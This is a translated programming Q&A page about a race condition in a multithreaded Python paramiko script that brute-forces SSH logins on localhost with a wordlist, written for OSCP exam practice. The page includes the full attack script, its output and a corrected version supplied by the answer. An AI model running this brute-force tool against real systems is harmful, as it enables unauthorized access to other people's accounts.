Python线程混乱关闭

时间:2018-10-19 21:21:47

标签: python-3.x multithreading paramiko

所以我有一个用于尝试在本地计算机上强行强制端口22(准备进行OSCP考试)的项目的多线程Python 3.7脚本。

脚本使用字典攻击对端口进行暴力破解。

我遇到的问题是,脚本在成功或失败时打印出每次尝试。最后,它应该停止并且最后一个值或一组值是添加到found列表中的那些值。

实际发生的是先打印正确的密码,然后再打印另一个失败的密码。哪一个取决于正在运行的线程数。

我认为这与我处理线程的方式有关,但我无法弄清楚我在做什么错。

import paramiko
import threading
from queue import Queue

TARGET_IP = 'localhost'
USERNAME = 'targetuser'
WORDLIST = 'test2.txt'
MAX_THREADS = 20
found = []
q = Queue()


def ssh_connect(target_ip, username, password):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy)

    try:
        ssh.connect(target_ip, username=username, password=password)
        found.append(password)
        q.put(password)
    except paramiko.ssh_exception.AuthenticationException:
        print("[*] Failed: ", password)
        return False
    finally:
        ssh.close()

    return True


def main():
    with open(WORDLIST) as input_handle:
        threads = []
        thread_count = 0
        for line in input_handle:
            try:
                password = line.rstrip()
                t = threading.Thread(target=ssh_connect, args=[TARGET_IP, USERNAME, password])
                threads.append(t)
                t.start()
                thread_count += 1

                if not q.empty():
                    break
                if thread_count >= MAX_THREADS:
                    for t in threads:
                        t.join()
                    thread_count = 0

            except KeyboardInterrupt:
                break

        if not q.empty() and len(found) > 0:
            for c in found:
                print("[!] Found: ", c)
        else:
            print("[*] Pass not found")


if __name__ == '__main__':
    main()

输出:

python3 ssh_brute.py 
[*] Failed:  josa10
[*] Failed:  josa0823
[*] Failed:  josa123
[*] Failed:  josa070601
[*] Failed:  josa004
[*] Failed:  josa13
[*] Failed:  josa0119
[*] Failed:  josa-jones
[*] Failed:  josa0131
[*] Failed:  josa12
[*] Failed:  josa08
[*] Failed:  josa16
[*] Failed:  josa122387
[*] Failed:  josa04
[*] Failed:  josa-young
[*] Failed:  josa02
[*] Failed:  josa-a
[*] Failed:  josa143
[*] Failed:  josa15
[!] Found:  super_secret_password
[*] Failed:  josa1856

根据以下答案更正的代码:

def main():
    with open(WORDLIST) as input_handle:
        threads = []
        thread_count = 0
        for line in input_handle:
            try:
                password = line.rstrip()
                t = threading.Thread(target=ssh_connect, args=[TARGET_IP, USERNAME, password])
                threads.append(t)
                t.start()
                thread_count += 1

                if not q.empty():
                    break
                if thread_count >= MAX_THREADS:
                    for t in threads:
                        t.join()
                    threads = []
                    thread_count = 0
            except KeyboardInterrupt:
                break

        for t in threads:
            t.join()

        # if not q.empty() and len(found) > 0:
        if len(found) > 0:
            for c in found:
                print("[!] Found: ", c)
        else:
            print("[*] Pass not found")

1 个答案:

答案 0 :(得分:2)

这里有几个问题:

1)代码在启动线程后立即检查q是否为空。问题是,在进行检查之前,没有办法知道线程何时运行以及是否会在q中放入匹配的密码-实际上,很有可能不会。< / p>

2)MAX_THREADS循环实际上应该清空数组。 threads = []

3)添加另一个循环以在for循环之外加入正在运行的线程。这样可以确保所有线程在代码检查结果之前完成。 (编辑:)这将在打印成功消息之前打印所有失败消息。

请记住,(在大多数语言中)启动线程是使函数与当前正在启动线程的函数同时运行的一种方式。因此,计时会变得非常时髦。您所看到的通常被视为“竞赛条件”。大多数您可以修复。其他...嗯...